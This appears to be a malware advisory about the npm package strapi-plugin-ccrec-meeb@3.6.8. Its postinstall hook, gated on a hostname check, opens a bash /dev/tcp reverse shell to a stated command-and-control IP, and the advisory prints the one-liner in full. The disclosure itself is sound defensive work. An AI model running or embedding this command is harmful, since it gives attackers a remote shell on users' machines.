strapi-plugin-ccrec-meeb@3.6.8

Analysis

The package's postinstall hook runs postinstall.js, which opens a reverse shell. It first checks the machine hostname and exits silently unless it matches 'ubuntu-fc-uvm' (an anti-analysis gate). When the check passes, it executes `bash -i >& /dev/tcp/14[.]225[.]210[.]85/80 0>&1`, giving the remote host an interactive shell on the installer's machine, retrying up to 5 times every 10 seconds and logging activity to /tmp/postinstall-revshell.log. C2: 14[.]225[.]210[.]85:80.